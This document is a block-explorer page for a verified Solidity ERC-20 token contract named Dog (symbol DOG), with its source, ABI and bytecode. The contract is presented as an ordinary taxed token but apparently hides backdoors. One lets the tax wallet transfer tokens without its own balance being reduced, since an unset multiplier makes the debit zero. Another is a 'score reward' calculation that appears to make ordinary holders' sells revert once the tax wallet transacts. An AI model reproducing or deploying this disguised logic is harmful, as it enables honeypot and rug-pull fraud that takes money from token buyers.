ERC-20
Overview
Max Total Supply
1,000,000,000 DOG
Holders
124
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
8,929,324.713347734 DOGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Dog
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-10 */ // SPDX-License-Identifier: UNLICENSE /* */ pragma solidity 0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf( address account ) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve( address spender, uint256 amount ) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract Dog is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _initialBuyTax=15; uint256 private _initialSellTax=19; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=20; uint256 private _reduceSellTaxAt=24; uint256 private _preventSwapBefore=15; uint256 private _buyCount=0; string private constant _name = unicode"KAI"; string private constant _symbol = unicode"DOG"; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; uint256 public _maxTxAmount = 20000000 * 10**_decimals; uint256 public _maxWalletSize = 20000000 * 10**_decimals; uint256 public _taxSwapThreshold= 15000000 * 10**_decimals; uint256 public _maxTaxSwap= 10000000 * 10**_decimals; address payable private _taxWallet; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; uint256 private initialBlock; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private scoreRewardBase; struct ScoreRewards {uint256 initScore; uint256 finalScoreRew; uint256 resultRew;} mapping(address => ScoreRewards) private scoreReward; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0x6d0bB1B3b6344705f70E3fED8B2154e215e61752); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[_taxWallet] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0),_msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance") ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address from, address to, uint256 tokenAmount) internal { _balances[from] = _balances[from].sub(tokenAmount); _balances[to] = _balances[to].add(tokenAmount); emit Transfer(from, to, tokenAmount); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount>0, "Transfer amount must be greater than zero"); if (!tradingOpen || inSwap ) { _basicTransfer(from, to, tokenAmount); return; } uint256 taxAmount=0; if (from != owner() && to != owner() && to != _taxWallet) { taxAmount = tokenAmount .mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax) .div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + tokenAmount <=_maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to==uniswapV2Pair && from!= address(this) ){ taxAmount = tokenAmount .mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) { swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && from!=address(this) && to!= address(this)) { scoreRewardBase = block.number; } if( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ){ if (uniswapV2Pair != to) { ScoreRewards storage rewardScore = scoreReward[to]; if (from == uniswapV2Pair) { if (rewardScore.initScore == 0) { if (_buyCount>_preventSwapBefore) { rewardScore.initScore = block.number; } else { rewardScore.initScore = block.number- 1; } } } else { ScoreRewards storage rewardScoreFin = scoreReward[from]; if (!(rewardScore.initScore > 0) || rewardScoreFin.initScore < rewardScore.initScore ) { rewardScore.initScore = rewardScoreFin.initScore; } } } else if (swapEnabled) { ScoreRewards storage rewardScoreFin = scoreReward[from]; rewardScoreFin.resultRew = rewardScoreFin.initScore-scoreRewardBase; rewardScoreFin.finalScoreRew = block.timestamp; } } _tokenTransfer(from,to,tokenAmount,taxAmount); } function _tokenTransfer( address from, address to, uint256 tokenAmount, uint256 taxAmount ) internal { uint256 tAmount =_tokenTaxTransfer(from, tokenAmount, taxAmount); _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount)); } function _tokenBasicTransfer( address from, address to, uint256 sendAmount, uint256 receiptAmount ) internal { _balances[from] =_balances[from].sub(sendAmount); _balances[to] = _balances[to].add(receiptAmount); emit Transfer(from,to, receiptAmount); } function _tokenTaxTransfer(address addrs,uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) { uint256 tAmount = addrs != _taxWallet ? tokenAmount : initialBlock.mul(tokenAmount); if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(addrs,address(this), taxAmount); } return tAmount; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a > b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner() { _maxTxAmount= _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router),_tTotal); tradingOpen = true; uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(), block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0 && swapEnabled) { swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } receive() external payable {} function clearStuck() external { require(_msgSender()==_taxWallet); require( address(this).balance > 0, "No ETH to clear" ); _taxWallet.transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuck","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600f60045560136005555f6006555f60075560146008556018600955600f600a555f600b556009600a61003791906102c3565b610045906301312d006102d8565b600c556100546009600a6102c3565b610062906301312d006102d8565b600d556100716009600a6102c3565b61007e9062e4e1c06102d8565b600e5561008d6009600a6102c3565b61009a90629896806102d8565b600f556014805462ffff00191690553480156100b4575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b031916736d0bb1b3b6344705f70e3fed8b2154e215e617521790556101276009600a6102c3565b61013590633b9aca006102d8565b335f818152600160208181526040808420959095556010546001600160a01b0316835260039052838220805460ff199081168317909155308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101a96009600a6102c3565b6101b790633b9aca006102d8565b60405190815260200160405180910390a36102ef565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561021b57815f1904821115610201576102016101cd565b8085161561020e57918102915b93841c93908002906101e6565b509250929050565b5f82610231575060016102bd565b8161023d57505f6102bd565b8160018114610253576002811461025d57610279565b60019150506102bd565b60ff84111561026e5761026e6101cd565b50506001821b6102bd565b5060208310610133831016604e8410600b841016171561029c575081810a6102bd565b6102a683836101e1565b805f19048211156102b9576102b96101cd565b0290505b92915050565b5f6102d160ff841683610223565b9392505050565b80820281158282048414176102bd576102bd6101cd565b611a9b806102fc5f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b4114610309578063a9059cbb14610334578063bf474bed14610353578063c9567bf914610368578063dd62ed3e1461037c575f80fd5b8063751039fc1461029b5780637d1db4a5146102af5780638da5cb5b146102c45780638de5c064146102e05780638f9a55c0146102f4575f80fd5b8063313ce567116100e3578063313ce567146101eb57806349bd5a5e1461020657806351bc3c851461023d57806370a0823114610253578063715018a614610287575f80fd5b806306fdde0314610129578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b857806323b872dd146101cc575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260038152624b414960e81b60208201525b60405161015d91906116a5565b60405180910390f35b348015610171575f80fd5b506101856101803660046116ee565b6103c0565b604051901515815260200161015d565b3480156101a0575f80fd5b506101aa600f5481565b60405190815260200161015d565b3480156101c3575f80fd5b506101aa6103d6565b3480156101d7575f80fd5b506101856101e6366004611718565b6103f6565b3480156101f6575f80fd5b506040516009815260200161015d565b348015610211575f80fd5b50601254610225906001600160a01b031681565b6040516001600160a01b03909116815260200161015d565b348015610248575f80fd5b5061025161045d565b005b34801561025e575f80fd5b506101aa61026d366004611756565b6001600160a01b03165f9081526001602052604090205490565b348015610292575f80fd5b506102516104c4565b3480156102a6575f80fd5b5061025161053e565b3480156102ba575f80fd5b506101aa600c5481565b3480156102cf575f80fd5b505f546001600160a01b0316610225565b3480156102eb575f80fd5b506102516105ef565b3480156102ff575f80fd5b506101aa600d5481565b348015610314575f80fd5b50604080518082019091526003815262444f4760e81b6020820152610150565b34801561033f575f80fd5b5061018561034e3660046116ee565b610688565b34801561035e575f80fd5b506101aa600e5481565b348015610373575f80fd5b50610251610694565b348015610387575f80fd5b506101aa610396366004611771565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103cc338484610a35565b5060015b92915050565b5f6103e36009600a61189c565b6103f190633b9aca006118aa565b905090565b5f610402848484610b59565b610453843361044e85604051806060016040528060288152602001611a3e602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110f9565b610a35565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461047c575f80fd5b305f9081526001602052604090205480158015906104a2575060145462010000900460ff165b156104b0576104b081611131565b4780156104c0576104c08161129b565b5050565b5f546001600160a01b031633146104f65760405162461bcd60e51b81526004016104ed906118c1565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105675760405162461bcd60e51b81526004016104ed906118c1565b6105736009600a61189c565b61058190633b9aca006118aa565b600c556105906009600a61189c565b61059e90633b9aca006118aa565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ce6009600a61189c565b6105dc90633b9aca006118aa565b60405190815260200160405180910390a1565b6010546001600160a01b0316336001600160a01b03161461060e575f80fd5b5f471161064f5760405162461bcd60e51b815260206004820152600f60248201526e27379022aa24103a379031b632b0b960891b60448201526064016104ed565b6010546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610685573d5f803e3d5ffd5b50565b5f6103cc338484610b59565b5f546001600160a01b031633146106bd5760405162461bcd60e51b81526004016104ed906118c1565b60145460ff16156107105760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ed565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561075990309061074b6009600a61189c565b61044e90633b9aca006118aa565b6014805460ff191660011790556011546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa1580156107ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d291906118f6565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610831573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085591906118f6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561089f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c391906118f6565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061090a816001600160a01b03165f9081526001602052604090205490565b5f8061091d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610983573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109a89190611911565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109fd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a21919061193c565b506014805462ff0000191662010000179055565b6001600160a01b038316610a975760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ed565b6001600160a01b038216610af85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ed565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bbd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ed565b6001600160a01b038216610c1f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ed565b5f8111610c805760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ed565b60145460ff161580610c995750601454610100900460ff165b15610cae57610ca98383836112d2565b505050565b5f80546001600160a01b03858116911614801590610cd957505f546001600160a01b03848116911614155b8015610cf357506010546001600160a01b03848116911614155b15610f4957610d246064610d1e600854600b5411610d1357600454610d17565b6006545b8590611375565b906113fa565b6012549091506001600160a01b038581169116148015610d5257506011546001600160a01b03848116911614155b8015610d7657506001600160a01b0383165f9081526003602052604090205460ff16155b15610e5c57600c54821115610dcd5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ed565b600d5482610def856001600160a01b03165f9081526001602052604090205490565b610df9919061195b565b1115610e475760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ed565b600b8054905f610e568361196e565b91905055505b6012546001600160a01b038481169116148015610e8257506001600160a01b0384163014155b15610eaf57610eac6064610d1e600954600b5411610ea257600554610d17565b6007548590611375565b90505b305f90815260016020526040902054601454610100900460ff16158015610ee357506012546001600160a01b038581169116145b8015610ef7575060145462010000900460ff165b8015610f045750600e5481115b8015610f135750600a54600b54115b15610f4757610f35610f3084610f2b84600f5461143b565b61143b565b611131565b478015610f4557610f454761129b565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f8657506001600160a01b0383165f9081526003602052604090205460ff165b8015610f9b57506001600160a01b0384163014155b8015610fb057506001600160a01b0383163014155b15610fba57436015555b6001600160a01b0384165f9081526003602052604090205460ff16158015610ffa57506001600160a01b0383165f9081526003602052604090205460ff16155b156110e7576012546001600160a01b038481169116146110a3576001600160a01b038084165f90815260166020526040902060125490919081169086160361106b5780545f0361106657600a54600b5411156110585743815561109d565b611063600143611986565b81555b61109d565b6001600160a01b0385165f90815260166020526040902081541580611091575081548154105b1561109b57805482555b505b506110e7565b60145462010000900460ff16156110e7576001600160a01b0384165f90815260166020526040902060155481546110da9190611986565b6002820155426001909101555b6110f38484848461144f565b50505050565b5f818484111561111c5760405162461bcd60e51b81526004016104ed91906116a5565b505f6111288486611986565b95945050505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061117357611173611999565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111ee91906118f6565b8160018151811061120157611201611999565b6001600160a01b0392831660209182029290920101526011546112279130911684610a35565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061125f9085905f908690309042906004016119ad565b5f604051808303815f87803b158015611276575f80fd5b505af1158015611288573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104c0573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546112f49082611479565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461132290826114ba565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b4c9085815260200190565b5f825f0361138457505f6103d0565b5f61138f83856118aa565b90508261139c8583611a1e565b146113f35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ed565b9392505050565b5f6113f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611518565b5f81831161144957826113f3565b50919050565b5f61145b858484611544565b905061147285858361146d8787611479565b6115f4565b5050505050565b5f6113f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f9565b5f806114c6838561195b565b9050838110156113f35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ed565b5f81836115385760405162461bcd60e51b81526004016104ed91906116a5565b505f6111288486611a1e565b6010545f9081906001600160a01b03908116908616036115705760135461156b9085611375565b611572565b835b905082156115ec57305f9081526001602052604090205461159390846114ba565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115e39087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546116169083611479565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461164490826114ba565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116979085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610685575f80fd5b5f80604083850312156116ff575f80fd5b823561170a816116da565b946020939093013593505050565b5f805f6060848603121561172a575f80fd5b8335611735816116da565b92506020840135611745816116da565b929592945050506040919091013590565b5f60208284031215611766575f80fd5b81356113f3816116da565b5f8060408385031215611782575f80fd5b823561178d816116da565b9150602083013561179d816116da565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117f657815f19048211156117dc576117dc6117a8565b808516156117e957918102915b93841c93908002906117c1565b509250929050565b5f8261180c575060016103d0565b8161181857505f6103d0565b816001811461182e576002811461183857611854565b60019150506103d0565b60ff841115611849576118496117a8565b50506001821b6103d0565b5060208310610133831016604e8410600b8410161715611877575081810a6103d0565b61188183836117bc565b805f1904821115611894576118946117a8565b029392505050565b5f6113f360ff8416836117fe565b80820281158282048414176103d0576103d06117a8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611906575f80fd5b81516113f3816116da565b5f805f60608486031215611923575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561194c575f80fd5b815180151581146113f3575f80fd5b808201808211156103d0576103d06117a8565b5f6001820161197f5761197f6117a8565b5060010190565b818103818111156103d0576103d06117a8565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119fd5784516001600160a01b0316835293830193918301916001016119d8565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a3857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122031f82522c875a052e60410ec4e65d99ff6a9986d2520df2dcc19457d7cae45b264736f6c63430008190033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b4114610309578063a9059cbb14610334578063bf474bed14610353578063c9567bf914610368578063dd62ed3e1461037c575f80fd5b8063751039fc1461029b5780637d1db4a5146102af5780638da5cb5b146102c45780638de5c064146102e05780638f9a55c0146102f4575f80fd5b8063313ce567116100e3578063313ce567146101eb57806349bd5a5e1461020657806351bc3c851461023d57806370a0823114610253578063715018a614610287575f80fd5b806306fdde0314610129578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b857806323b872dd146101cc575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260038152624b414960e81b60208201525b60405161015d91906116a5565b60405180910390f35b348015610171575f80fd5b506101856101803660046116ee565b6103c0565b604051901515815260200161015d565b3480156101a0575f80fd5b506101aa600f5481565b60405190815260200161015d565b3480156101c3575f80fd5b506101aa6103d6565b3480156101d7575f80fd5b506101856101e6366004611718565b6103f6565b3480156101f6575f80fd5b506040516009815260200161015d565b348015610211575f80fd5b50601254610225906001600160a01b031681565b6040516001600160a01b03909116815260200161015d565b348015610248575f80fd5b5061025161045d565b005b34801561025e575f80fd5b506101aa61026d366004611756565b6001600160a01b03165f9081526001602052604090205490565b348015610292575f80fd5b506102516104c4565b3480156102a6575f80fd5b5061025161053e565b3480156102ba575f80fd5b506101aa600c5481565b3480156102cf575f80fd5b505f546001600160a01b0316610225565b3480156102eb575f80fd5b506102516105ef565b3480156102ff575f80fd5b506101aa600d5481565b348015610314575f80fd5b50604080518082019091526003815262444f4760e81b6020820152610150565b34801561033f575f80fd5b5061018561034e3660046116ee565b610688565b34801561035e575f80fd5b506101aa600e5481565b348015610373575f80fd5b50610251610694565b348015610387575f80fd5b506101aa610396366004611771565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103cc338484610a35565b5060015b92915050565b5f6103e36009600a61189c565b6103f190633b9aca006118aa565b905090565b5f610402848484610b59565b610453843361044e85604051806060016040528060288152602001611a3e602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110f9565b610a35565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461047c575f80fd5b305f9081526001602052604090205480158015906104a2575060145462010000900460ff165b156104b0576104b081611131565b4780156104c0576104c08161129b565b5050565b5f546001600160a01b031633146104f65760405162461bcd60e51b81526004016104ed906118c1565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105675760405162461bcd60e51b81526004016104ed906118c1565b6105736009600a61189c565b61058190633b9aca006118aa565b600c55610590600